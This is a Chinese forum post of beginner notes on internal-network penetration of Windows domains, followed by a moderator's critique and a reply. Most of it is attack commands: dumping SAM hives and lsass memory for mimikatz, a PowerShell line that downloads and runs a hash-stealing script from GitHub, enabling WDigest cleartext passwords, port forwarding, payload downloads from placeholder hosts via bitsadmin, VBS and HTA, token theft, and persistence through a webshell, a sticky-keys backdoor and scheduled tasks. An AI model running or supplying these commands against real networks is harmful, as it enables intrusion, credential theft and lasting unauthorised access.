内网渗透初学者笔记 - Locked

骚骑   ·   发表于 2020-06-08 18:10:18   ·   技术文章

内网渗透笔记

0x00 前言

今天对自己知识梳理的时候,发现了五个月前写的内网渗透思路,结合这段时间实际的内网渗透经历,做下整理吧,因为内网渗透的东西不是一篇两篇文章就能写完的,因此本文只涉及思路和相关工具,如有错误请大佬们指正。
正文开始前放一句micro8的话:

目标资产信息搜集的广度,决定渗透过程的复杂程度。 目标主机信息搜集的深度,决定后渗透权限持续把控。 渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。 持续渗透的本质是线索关联,而线索关联为后续的攻击链方提供了强大的方向。 后渗透的本质是权限把控,而权限把控为后渗透提供了以牺牲时间换取空间强大基础。

0x01 域的概念

域的概念:域 (Domain) 是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之 间的桥梁。当一个域与其他域建立了信任关系后,2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不 同的域之间实现网络资源的共享与管理。 域既是 Windows 网络操作系统的逻辑组织单元,也是Internet的逻辑组织单元,在?Windows 网络操作系统中,域是安全边界。域管理员 只能管理域的内部,除非其他的域显式地赋予他管理权限,他才能够访问或者管理其他的域;每个域都有自己的安全策略,以及它与其他域 的安全信任关系。

域里主要成分有:域管(管理员),域用户,组(group),域控(安装ad的机器,一般也为dns服务器,是整个域里负责管理的服务器);

域的主要结构为:域,域树(父子域,上下级的那种),域林(若干个域树组成。不同域树之间信任关系分为单信任和双向信任 /domain_trusts 返回受信任域的列表);

0x02 内网渗透流程

信息收集—>权限维持—>横向移动(寻找域)—>获取域成员账号—>域信息收集—>横向移动(获取域管权限)—>拿下域

0x03 信息收集

工作组信息收集内容:

1.探测内网环境(ip及端口):可通过代理的方式本地探测。(可以看药水哥哥之前发的文章进行了解)
2.获取浏览器等保存的密码信息:可通过工具lazagne获取,如图3-1

3.查找本地存储的rdp等密码信息或者尝试登录:可利用工具remotedesktoppassview或者win+r运行control userpasswords2,如图3-2和3-3

图3-2

图3-3

4.翻看本地数据库以及相关文件获取信息:利用数据库工具打开翻看信息,如图3-4

图3-4

域信息收集内容

1.net收集:

  1. net user /domain 获取域用户列表
  2. net group "domain admins" /domain 获取域管理员列表
  3. net group "domain controllers" /domain 查看域控制器(如果有多台)
  4. net group "domain computers" /domain 查看域机器
  5. net group /domain 查询域里面的组
  6. net view 查看同一域内机器列表
  7. net view \\ip 查看某IP共享
  8. net view \\GHQ 查看GHQ计算机的共享资源列表
  9. net view /domain 查看内网存在多少个域
  10. net view /domain:XYZ 查看XYZ域中的机器列表
  11. net accounts /domain 查看域密码策略

2.csvde导出域用户信息
命令: csvde -setspn domain -f C:\windows\temp\domain.csv
导出格式说明:

LDAP的存储规则(类似于一个数据库),用来存储域相关信息。
区分名(DN,Distinguished Name)一个条目的区分名称叫做“dn”或者叫做区分名。在一个目录中这个名称总是唯一的。
CN=Common Name 为用户名或服务器名,最长可以到80个字符,可以为中文;
OU=Organization Unit为组织单元,最多可以有四级,每级最长32个字符,可以为中文;
O=Organization 为组织名,可以3—64个字符长
C=Country为国家名,可选,为2个字符长

3.setspn快速定位当前目标域中所有存活的各类服务:

SPN 官方名称即”服务主体名称”, 本质上存的就是域内各种服务资源 的对应关系 如,对应的服务类型是什么,机器名是多少,服务端口是多少,cmd命令为:setspn -T domian -Q */*

4.hash收集:
hash收集肯定首推mimikat,但是需要管理员权限,除此外比较容易爆毒,因此还推荐用命令行获取后下载到本地,或者计划任务操作。
相关命令:

注册表获取hash:

  1. reg save HKLM\SYSTEM c:\windows\temp\Sys.hiv (保存地址可以更改)
  2. reg save HKLM\SAM c:\windows\temp\Sam.hiv

lsass读取内存hash:
先对目标主机上传一个prodump.exe,然后执行

procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp
将lsass.dmp移动出来(因为mimikatz上传到目的主机容易暴露,而procdump基本算是安全的,在本地执行mimikatz,结果保存在日志里:

  1. mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"

利用命令行获取hash:

  1. powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

注:一个win08+win12的明文密码抓取技巧,修改个注册表

  1. reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredenti al /t REG_DWORD /d 1

hash的利用很大(后续会说到提权中hash利用问题),所以方法也不止这些,本人笔记中会多一些,可以看附带文件,这里不一一列举。

5.获取PC的真实IP地址和MAC地址:
利用工具:nbtscan
命令:nbtscan.exe ip c段/24(例如:nbtscan.exe 192.168.111.0/24)
bat: nbtscan.exe 192.168.111.0/24 >active.txt

6.信任域信息获取:
nltest命令,可以在工作组里查询,查询内网里是否有域环境

  1. nltest /domain_trusts /all_trusts /v /server:192.168.111.133(返回所有信任192.168111.133的域)
  2. nltest /dsgetdc:域名 /server:192.168.111.133 (返回域控和相应的IP地址)

点击查看nltest详细讲解

7.获取域内所有机器的机器名和IP:
bat:
@echo off setlocal ENABLEDELAYEDEXPANSION @FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO (@FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Ping"`) DO (@FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j)))

当然如果涉及到权限提升的话还需要收集下补丁信息:wmic qfe,为接下来的操作做铺垫。

0x04 端口转发&边界代理

windows和Linux的都简单介绍下常用的吧。

windows
1.工具lcx:

本机执行:lcx.exe -listenning 34 2389(监听34 端口,并将数据转发到2389)

目标机执行:lcx.exe -slav 192.168.15.5 34 192.168.111.129 3389 (将目标机192.168.111.129的3389转发到本机192.168.15.5的34端口上)

本机执行远程桌面链接连接127.0.0.1:2389即可链接到远程桌面,当然需要账户和密码,但是你如果不怕暴露,可以新建个账号,给他顶掉,加个键盘记录啥的(因为有时候获取到一个密码就能一打一大片了)。

2.windows自带netsh转发

需要注意的一点就是netsh只支持tcp协议(有过一个惨痛的教训)。

添加转发规则:

  1. netsh interface portproxy set v4tov4 listenaddress=192.168.111.129 listenport=34 connecta ddress=192.168.111.130 connectport=3389

删除转发规则:

  1. netsh interface portproxy delete v4tov4 listenport=34

查看现有规则:

  1. netsh interface portproxy show all

linux

Linux版的lcx—portmap

图4-1

其中m 有三个选项。简单使用命令:

监听1234端口,转发数据到5678端口 ./portmap -m 2 -p1 1234 -p2 5678

将目标的3389转发到本地的2389端口 ./portmap -m 1 -p1 3389 -h2 ip -p2 2389

内网穿透神器ew有兴趣的可以看看,只不过由于一些原因现在不更新了。

0x05 文件上传的一些小技巧

windows传输文件

1.利用大马自带的文件传输get,php远程文件下载,文件上传:

图5-1

图5-2

2.powershell下载文件
命令:

  1. powershell -ExecutionPolicy Bypass -File 2.ps1

ps1内容:

  1. $d = New-Object System.Net.WebClient $d.DownloadFile("http://xxx.com/filename","c:/filename")

效果图:

3.bitsadmin win08以上可利用上传

命令:

  1. bitsadmin /transfer n http://xxx.com/filename c:\filename

效果图:

4.利用telnet执行

vps:nc -lvp 端口 < nc.exe 靶机:telnet ip 端口 -f c:\nc.exe

效果图:

5.利用hta或者vbs等脚本下载

直接放相关代码吧,vbs:

Set xPost=createObject("Microsoft.XMLHTTP") xPost.Open "GET","http://xxx.com/filename",0 xPost.Send() set sGet=createObject("ADODB.Stream") sGet.Mode=3 sGet.Type=1 sGet.Open() sGet.Write xPost.ResponseBody sGet.SaveToFile "c:\filename",2

.hta文件:

  1. <html>
  2. <head>
  3. <script>
  4. var Object = new ActiveXObject("MSXML2.XMLHTTP"); Object.open("GET","http://xxxx.com/filename",false); Object.send();
  5. if (Object.Status == 200)
  6. {
  7. var Stream = new ActiveXObject("ADODB.Stream"); Stream.Open(); Stream.Type = 1;
  8. Stream.Write(Object.ResponseBody); Stream.SaveToFile("C:\\filename", 2); Stream.Close();
  9. }
  10. window.close();
  11. </script>
  12. <HTA:APPLICATION ID="test" WINDOWSTATE = "minimize">
  13. </head>
  14. <body>
  15. </body>
  16. </html>

Linux下文件传输

1.wget下载
命令:

  1. wget http://lemon.com/file.zip -P /root/1.zip

2.perl脚本下载
命令:

  1. vim test.pl

test.pl内容:

  1. #!/usr/bin/perl use
  2. LWP::Simple
  3. getstore("http://xxx.com/filename", "/root/filename");

效果图:

3.ruby下载,需要ruby环境
命令:

  1. vim test.rb
  2. chmod 777 test.rb
  3. ./test.rb

test.rb内容:

  1. #!/usr/bin/ruby
  2. require 'net/http'
  3. Net::HTTP.start("www.xxx.com") { |http| r = http.get("/test.exe")
  4. open("/root/test.exxe", "wb") { |file|
  5. file.write(r.body)
  6. }
  7. }

效果图:

4.python 下载:
py文件源码:

  1. #!/usr/bin/python
  2. import urllib.request, urllib.error, urllib.parse
  3. u = urllib.request.urlopen('http://xxx.com/filename')
  4. File = open('/root/filename', 'wb')
  5. File.write(u.read())
  6. File.close()

命令:

  1. vi test.py
  2. chmod 777 test.py
  3. ./test.py

效果图:

5.根据各种协议下载,ftp,smb,dns数据传输

有兴趣的可以私下跟骚骑讨论下,不再详细说明

0x06 提权

简单提一下windows的几种

1.票据传递

利用mimikaz实现金银票据传递,实现域账户提权,或者利用python自带的smbexec.py进行hash传递(上传文件笔记中有详细记载)

关于黄金票据的一篇文章:
https://www.sohu.com/a/112313434_354899

2.利用进程凭证窃取

利用tasklist /v 查看当前进程中是否有域管等权限账号,在通过工具incognito.exe窃取凭证后可查看域控上的资源。

例:

  1. incognito.exe execute -c"hack\qh" cmd.exe

3.探测补丁,利用exp

查看修补的补丁,wmic qfe或者systeminfo都能查看然后利用ms17-010这些exp进行攻击提权,如图6-1,6-2

图6-1

图6-2

0x07 权限维持

1.将shell写进404页面中

2.经典后门:shift后门

在一些老的windows系统中,有一些辅助功能,可以在用户为登陆前利用组合键来实现,例如:

  1. C:\Windows\System32\sethc.exe 粘滞键,启动快捷键:按五次shift
  2. C:\Windows\System32\utilman.exe 设置中心,启动快捷键:Windows+U

这时候我们将sethc换成我们的后门程序,在用户登录界面敲击五下shift是不是就启动了,嘿嘿嘿。

3.利用定时任务schtasks

例:

  1. ? sc /create /tn task1 /U \域用户 /P 域用户密码 /tr 执行的命令或者bat路径 /sc ONSTART /s 域机器IP /RU system
  2. ? sc /run /tn task1 /s 域机器IP /U \域用户 /P 域用户密码
  3. ? sc /F /delete /tn task1 /s 域机器IP /U \域用户 /P 域用户密码
  4. schtasks /create /tn task1 /U hack\administrator /P 123456 /tr "c:\windows\system32\cmd.exe /c net user > c:\windows\temp\1.txt" /sc ONSTART /s 192.168.111.133 /RU system
  5. schtasks /Run /tn task1 /s 192.168.111.133 /U hack\administrator /P 123456
  6. schtasks /F /delete /tn task1 /s 192.168.111.133 /U hack\administrator /P 123456
  7. type \\192.168.111.129\C$\windows\temp\1.txt

此外还有很多维持姿势,不一一列举,放一个链接供大家参考:点击跳转

总结

大概就先写这些吧,还有就是远程连接的一些小巧,后续有机会会用真实案例来做讲解这些。下面上传一个我一月份写的笔记,因为时间有点久了,借鉴了很多大佬文章,具体借鉴了哪些查不到了,主要算是对内网有个了解,其中很多极端环境很烦人,最后相关工具如果找不到的话就在群里找骚骑要吧。

用户名金币积分时间理由
admin 100.00 0 2020-06-15 15:03:13 支持

打赏我,让我更有动力~

Attachment List

内网渗透思路.rar   File Size:0.008M (Download Count:7)

2 Reply   |  Until 2020-6-15 | 1592 View

Track-A
发表于 2020-6-15

体系不清晰未做分类,内容离散描述浅短
内网与外网有什么差别?(三层二层路由架构)如何通过边界进入内网有什么工具?(tunna,ew,lcx,venom)
内网有什么设备?(IDS,堡垒机)权限应该如何驻留?(rootkit,无文件绕过hips)
内网渗透是以目标为中心的信息收集
“如何最大程度利用本地获取信息比方SCF文件bad pdf”(信息收集)
“如何通过提取本机域控管理令牌dump成员hash”(横向移动)
建议参考这里https://github.com/Micropoor/Micro8
审核结果:未通过
请务必以目的为导向体系化叙述内网渗透的过程,每个知识点求精叙述完整

评论列表

  • 加载数据中...

编写评论内容

mq
发表于 2020-6-15

紧跟骑哥步伐(狗头)

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.